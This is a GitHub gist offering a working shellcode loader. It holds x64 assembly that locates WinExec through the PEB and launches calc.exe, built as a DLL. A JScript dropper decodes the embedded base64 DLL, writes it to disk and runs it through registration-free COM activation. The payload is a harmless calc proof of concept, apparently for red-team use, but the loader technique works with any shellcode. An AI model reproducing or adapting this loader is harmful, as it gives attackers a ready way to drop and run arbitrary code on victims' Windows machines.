Skip to content

Instantly share code, notes, and snippets.

@slyd0g
Created December 24, 2020 04:33
Show Gist options
  • Save slyd0g/e8857f5f00fa519f4f7221fbcf21ec8b to your computer and use it in GitHub Desktop.
Save slyd0g/e8857f5f00fa519f4f7221fbcf21ec8b to your computer and use it in GitHub Desktop.
LoadRunner - Simple Shellcode Loader from JS

Load DLL / Shellcode from JScript.

; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
; and Peter Ferrie <peter.ferrie@gmail.com>
; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
; Windows x64 null-free shellcode that executes calc.exe.
; Works in any x64 application for Windows 5.0-6.3 all service packs.
;
; nasm -f win64 LoadRunner.asm
; golink.exe /dll /entry DllGetClassObject LoadRunner.obj
;%include 'type-conversion.asm'
; Macros for converting between bytes, words, dwords and qwords
%define B2W(b1,b2) (((b2) << 8) + (b1))
%define W2DW(w1,w2) (((w2) << 16) + (w1))
%define DW2QW(dw1,dw2) (((dw2) << 32) + (dw1))
%define B2DW(b1,b2,b3,b4) ((B2W(b3, b4) << 16) + B2W(b1, b2))
%define B2QW(b1,b2,b3,b4,b5,b6,b7,b8) ((B2DW(b5,b6,b7,b8) << 32) + B2DW(b1,b2,b3,b4))
%define W2QW(w1,w2,w3,w4) ((W2DW(w3,w4) << 32) + W2DW(w1,w2))
BITS 64
SECTION .text
global DllGetClassObject
export DllGetClassObject
section .text
;To print an ASCIIZ string
;Push the address of the string
;No arguments
DllGetClassObject:
push 0
nop
nop
nop
nop
nop
nop
nop
call shellcode
ret
; x64 WinExec *requires* 16 byte stack alignment and four QWORDS of stack space, which may be overwritten.
; http://msdn.microsoft.com/en-us/library/ms235286.aspx
%ifndef PLATFORM_INDEPENDENT
global shellcode
shellcode:
%ifdef FUNC ; assumes stack ends with 8 on entry, use STACK_ALIGN if it might not be.
%ifdef CLEAN ; 64-bit calling convention considers RAX, RCX, RDX, R8, R9, R10 and R11
PUSH RAX ; volatile. Use CLEAN if you want to preserve those as well.
PUSH RCX
PUSH RDX
%endif
PUSH RBX
PUSH RSI
PUSH RDI
PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned
%endif
%ifdef STACK_ALIGN
%ifdef FUNC
PUSH RSP
POP RAX
%endif
AND SP, -16 ; Align stack to 16 bytes
; (we can't force it to end with 8 without dummy push and then or)
PUSH RAX ; Force stack to end with 8 before next push, also saves RSP to restore stack
%elifdef CLEAN
PUSH RAX ; dummy push to make stack end with 8 before next push
%endif
; Note to SkyLined: instructions on 32-bit registers are automatically sign-extended to 64-bits.
; This means LODSD will set the high DWORD of RAX to 0 if top bit of EAX was 0, or 0xFFFFFFFF if it was 0x80000000.
PUSH BYTE 0x60 ; Stack
POP RDX ; RDX = 0x60
%else
%ifdef FUNC
%ifdef CLEAN
PUSH RAX ; exchanged RDX
PUSH RCX
%endif
PUSH RBX
PUSH RSI
PUSH RDI
PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned
%endif
%ifdef CLEAN
%ifndef STACK_ALIGN
PUSH RAX ; dummy push to make stack end with 8 before next push
%endif
%endif
MOV DL, 0x60
%endif
%ifndef USE_COMMON
PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc\0\0\0\0" (stack alignment changes)
PUSH RSP
POP RCX ; RCX = &("calc")
%endif
SUB RSP, RDX ; Stack was 16 byte aligned already and there are >4 QWORDS on the stack.
MOV RSI, [GS:RDX] ; RSI = [TEB + 0x60] = &PEB
MOV RSI, [RSI + 0x18] ; RSI = [PEB + 0x18] = PEB_LDR_DATA
MOV RSI, [RSI + 0x10] ; RSI = [PEB_LDR_DATA + 0x10] = LDR_MODULE InLoadOrder[0] (process)
LODSQ ; RAX = InLoadOrder[1] (ntdll)
MOV RSI, [RAX] ; RSI = InLoadOrder[2] (kernel32)
MOV RDI, [RSI + 0x30] ; RDI = [InLoadOrder[2] + 0x30] = kernel32 DllBase
; Found kernel32 base address (RDI)
shellcode_common:
ADD EDX, DWORD [RDI + 0x3C] ; RBX = 0x60 + [kernel32 + 0x3C] = offset(PE header) + 0x60
; PE header (RDI+RDX-0x60) = @0x00 0x04 byte signature
; @0x04 0x18 byte COFF header
; @0x18 PE32 optional header (= RDI + RDX - 0x60 + 0x18)
MOV EBX, DWORD [RDI + RDX - 0x60 + 0x18 + 0x70] ; RBX = [PE32+ optional header + offset(PE32+ export table offset)] = offset(export table)
; Export table (RDI+EBX) = @0x20 Name Pointer RVA
MOV ESI, DWORD [RDI + RBX + 0x20] ; RSI = [kernel32 + offset(export table) + 0x20] = offset(names table)
ADD RSI, RDI ; RSI = kernel32 + offset(names table) = &(names table)
; Found export names table (RSI)
MOV EDX, DWORD [RDI + RBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table)
; Found export ordinals table (RDX)
find_winexec_x64:
; speculatively load ordinal (RBP)
MOVZX EBP, WORD [RDI + RDX] ; RBP = [kernel32 + offset(ordinals table) + offset] = function ordinal
LEA EDX, [RDX + 2] ; RDX = offset += 2 (will wrap if > 4Gb, but this should never happen)
LODSD ; RAX = &(names table[function number]) = offset(function name)
CMP DWORD [RDI + RAX], B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ?
JNE find_winexec_x64 ;
MOV ESI, DWORD [RDI + RBX + 0x1C] ; RSI = [kernel32 + offset(export table) + 0x1C] = offset(address table)
ADD RSI, RDI ; RSI = kernel32 + offset(address table) = &(address table)
MOV ESI, [RSI + RBP * 4] ; RSI = &(address table)[WinExec ordinal] = offset(WinExec)
ADD RDI, RSI ; RDI = kernel32 + offset(WinExec) = WinExec
; Found WinExec (RDI)
CDQ ; RDX = 0 (assuming EAX < 0x80000000, which should always be true)
CALL RDI ; WinExec(&("calc"), 0);
%ifdef FUNC
%ifdef CLEAN
%ifdef STACK_ALIGN
ADD RSP, 0x68 ; reset stack to where it was after pushing registers
%else
ADD RSP, 0x70 ; reset stack to where it was after pushing registers
%endif
%else
ADD RSP, 0x68 ; reset stack to where it was after pushing registers
%endif
%ifndef PLATFORM_INDEPENDENT
%ifdef STACK_ALIGN
POP RSP
%endif
%endif
POP RBP ; POP registers
POP RDI
POP RSI
POP RBX
%ifndef PLATFORM_INDEPENDENT
%ifdef CLEAN
POP RDX ; POP additional registers
POP RCX
POP RAX
%endif
RET ; Return
%else
%ifdef CLEAN
POP RCX ; POP additional registers
POP RDX
%endif
%ifdef STACK_ALIGN
POP RSP
%endif
%ifdef CLEAN
POP RAX
%endif
RET ; Return
%endif
%endif
var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="COM" version="1.0.0.0"/> <file name="LoadRunner.dll"> <comClass description="LoadRunner" clsid="{ACDCACDC-ACDC-ACDC-885C-ACDC5D6AACDC}" threadingModel="Both" progid="LoadRunner"/></file></assembly>'
var fso = new ActiveXObject("Scripting.FileSystemObject");
var dropPath = 'C:\\LoadRunner'; //fso.GetSpecialFolder(2);
// Create Base64 Object, supports encode, decode
var Base64={characters:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(a){Base64.characters;var r="",c=0;do{var e=a.charCodeAt(c++),t=a.charCodeAt(c++),h=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,r+=Base64.characters.charAt(s)+Base64.characters.charAt(A)+Base64.characters.charAt(o)+Base64.characters.charAt(B)}while(c<a.length);return r}};
//Magic is just a cool way to decode to byte array ;
function Magic(r){if(!/^[a-z0-9+/]+={0,2}$/i.test(r)||r.length%4!=0)throw Error("Not base64 string");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<r.length;d+=4)t=(a=f.indexOf(r.charAt(d))<<18|f.indexOf(r.charAt(d+1))<<12|(o=f.indexOf(r.charAt(d+2)))<<6|(i=f.indexOf(r.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return r=h.join("")}
function binaryWriter(res,filename)
{var base64decoded=Magic(res);var TextStream=new ActiveXObject('ADODB.Stream');TextStream.Type=2;TextStream.charSet='iso-8859-1';TextStream.Open();TextStream.WriteText(base64decoded);var BinaryStream=new ActiveXObject('ADODB.Stream');BinaryStream.Type=1;BinaryStream.Open();TextStream.Position=0;TextStream.CopyTo(BinaryStream);BinaryStream.SaveToFile(filename,2);BinaryStream.Close()}
var loadrunner = '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';
binaryWriter(loadrunner,dropPath+"\\loadrunner.dll");
var s = new ActiveXObject('WScript.Shell')
s.Environment('Process')('TMP') = 'C:\\LoadRunner';
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;
// Load Runner
var dwx = actCtx.CreateObject("LoadRunner");
WScript.StdIn.ReadLine();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment